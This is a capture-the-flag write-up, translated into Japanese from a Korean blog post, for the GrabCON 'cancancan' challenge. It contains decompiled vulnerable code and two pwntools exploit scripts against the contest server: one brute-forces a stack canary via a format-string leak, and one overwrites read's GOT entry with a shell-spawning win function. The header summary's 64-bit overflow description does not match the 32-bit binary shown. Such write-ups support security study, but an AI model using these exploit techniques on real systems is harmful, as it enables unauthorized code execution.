2021-09-09 · 1분
GrabCON CTF — Easy Bin write-up
GrabCON pwnable の write-up:ペイロードが dummy[48] + sfp[8] + vuln という自明な 64bit BOF。全 4 問中の 1 問(3 問解けた)。
2021-09-09 · 2분
この記事は公開から2年以上経過しています。
GrabCON CTF
次の問題〜!問題ファイル名は cancancan でした。
int __cdecl main(int argc, const char **argv, const char **envp)
{
init(&argc);
puts("can you bypass me???");
vuln();
return 0;
}
unsigned int vuln()
{
int i; // [esp+4h] [ebp-74h]
char buf[100]; // [esp+8h] [ebp-70h] BYREF
unsigned int v3; // [esp+6Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
for ( i = 0; i <= 1; ++i )
{
read(0, buf, 0x200u);
printf(buf);
}
return __readgsdword(0x14u) ^ v3;
}
int win()
{
return system("/bin/sh");
}

どうにかして win 関数を実行すればよさそうです。実はこの問題で少し無駄骨を折ったのですが、vuln 関数を見るとちょうど 2 回繰り返して入力を受け取り、上の写真でちょうどよくスタックカナリーが仕込まれていたので、私は絶対カナリーリークの問題だと思って余計なことをしてしまいました ㅠㅠ。実際に下のようなコードを書いて試した人もいました。下のコードはカナリーリークをブルートフォースで解くコードです。
もっと見る
from pwn import *
context.log_level = 'error'
ERROR = "*** stack smashing detected ***"
i = 1
while True:
s = remote("35.246.42.94", 31337)
offset = f"%{i}$x"
s.recvline()
# STAGE 1
payload1 = offset.encode()
s.sendline(payload1)
canary = s.recv()[2:-1]
canary = canary + b'0'*(8-len(canary))
canary = p32(int(canary, 16))
# STAGE 2
payload2 = b'A'*100
payload2 += canary
payload2 += b'B'*12
payload2 += p32(0x08049408) # RET
payload2 += p32(0x08049236) # WIN
s.sendline(payload2)
try:
result = s.recvline().decode()
print(f"offset {i} failed")
s.close()
i += 1
except:
s.interactive()
s.close()
break
しかし結局よく見ると、printf(buf); で FSB が起きていますね。ならば非常に速く問題が解けます。

offset = 6
上のように入力して offset が 6 だと突き止めました。では私は read の GOT を win 関数に変えます。
コードは以下のとおりです。
ソースコード
もっと見る
from pwn import *
#context.log_level = 'debug'
p = remote('35.246.42.94',31337)
elf = ELF('./cancancan')
payload = fmtstr_payload(6, {elf.got['read']:elf.symbols['win']})
pause()
p.sendline(payload)
p.interactive()
次からはカナリーに執着しません...ㅠ
原文(韓国語): tistory — 2021-09-09 公開、当ブログへ移行。この翻訳は AI の協力で作成されました。
…